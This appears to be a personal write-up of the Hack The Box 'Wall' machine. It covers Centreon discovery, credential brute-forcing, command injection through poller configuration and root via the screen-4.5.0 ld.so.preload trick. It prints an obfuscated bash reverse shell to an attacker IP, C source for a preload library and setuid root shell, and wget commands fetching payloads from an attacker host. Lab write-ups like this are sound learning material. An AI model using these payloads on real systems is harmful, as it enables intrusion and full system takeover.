Hack The Box Wall User and Root flag

“This one was tough — I’ll re‑analyze it again later, but here’s the full path I took with screenshots, payloads, and privesc.”

🎯 Objective

Gain initial access to the host, then escalate privileges to root.

High‑level path:
Nmap → hidden app (/monitoring) → redirect to /centreon → brute‑force creds → authenticated command injection via “Configure Pollers” → reverse shell as www-data → SUID screen-4.5.0 exploitation with ld.so.preload → root shell.

🧭 Environment & Clues

• Target exposed a bland web page; forced discovery found /monitoring (auth required).
• Playing with HTTP methods and redirects revealed /centreon.
• After login, the “Configure Pollers” page allowed command execution.
• Local privesc via vulnerable screen-4.5.0 SUID binary.

🔎 Recon (Nmap)

Initial and full‑port scans didn’t show anything obvious at first:

Follow‑up scan (still sparse service surface):

🧭 Discovery → /monitoring → /centreon

Directory brute‑force (Gobuster/Nikto) uncovered /monitoring which required auth:

I intercepted with Burp and flipped methods to see how the app behaved.

Original request:

POST switch → redirect:

Followed redirect → 401:

Tried POST again and the response leaked a new path /centreon:

🔐 Auth to Centreon

Default creds failed. Referenced Centreon API docs and, due to time, watched @ippsec approach for bruteforce setup:

Result: successful login:

⚙️ Gaining RCE via “Configure Pollers”

Inside Centreon I explored Commands and Configure Pollers. Executing a base64‑wrapped reverse shell via poller command worked:

Base64 payload (decoded):

bash -i >& /dev/tcp/10.10.14.12/1337 0>&1

What I actually sent (IFS‑safe & base64‑decoded inline):

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi8xMzM3IDA+JjEK${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;

This yielded a shell as www-data. I could browse but not read user.txt yet:

🧑‍💻 Post‑Exploration

Two user homes present: shelby, sysmonitor. Permissions blocked www-data from reading user flag.

www-data@Wall:/home$ ls -al
drwxr-xr-x  4 root       root       4096 Jul  4 00:38 .
drwxr-xr-x 23 root       root       4096 Jul  4 00:25 ..
drwxr-xr-x  6 shelby     shelby     4096 Jul 30 17:37 shelby
drwxr-xr-x  5 sysmonitor sysmonitor 4096 Jul  6 15:07 sysmonitor

www-data@Wall:/home/shelby$ cat user.txt
cat: user.txt: Permission denied

⬆️ Privilege Escalation — SUID screen-4.5.0

Found SUID screen-4.5.0 (known privesc via ld.so.preload). Similar to Flujab methodology.

When the ready‑made script wasn’t reliable, I compiled the helper pieces locally and staged them on target.

🔧 Build artifacts (on attacker)

libhax.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c

#include <unistd.h>

int main(void){
    setuid(0); setgid(0);
    seteuid(0); setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

(Compile both, producing libhax.so and rootshell).

📦 Transfer to target

www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell

🧨 Trigger via vulnerable screen

www-data@Wall:/etc$ umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
# ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
# [+] done!
# No Sockets found in /tmp/screens/S-www-data.

👑 Root shell

www-data@Wall:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)

🧰 One‑liners & Notes

Reverse shell (base64 inline):

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi8xMzM3IDA+JjEK${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;

SUID privesc cadence (screen-4.5.0):

# on attacker
gcc -fPIC -shared -o libhax.so libhax.c -nostartfiles
gcc -o rootshell rootshell.c

# on target
umask 000
wget http://ATTACKER/libhax.so -O /tmp/libhax.so
wget http://ATTACKER/rootshell -O /tmp/rootshell
/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
/tmp/rootshell  # -> root shell

🛡️ Defensive Takeaways

• Harden Centreon: restrict who can modify poller commands; enforce least privilege roles; keep platform patched.
• Stop command injection: sanitize inputs executed by schedulers/agents; run with reduced privileges.
• Audit SUID binaries: remove or patch vulnerable SUIDs like screen-4.5.0; monitor for changes to /etc/ld.so.preload.
• Web hardening: avoid leaking internal paths via method/redirect quirks; ensure consistent auth on redirected endpoints.

✅ Outcome

• Initial foothold: www-data via Centreon poller command execution.
• Privilege escalation: root using screen-4.5.0 ld.so.preload technique.
• Box complete. 🎉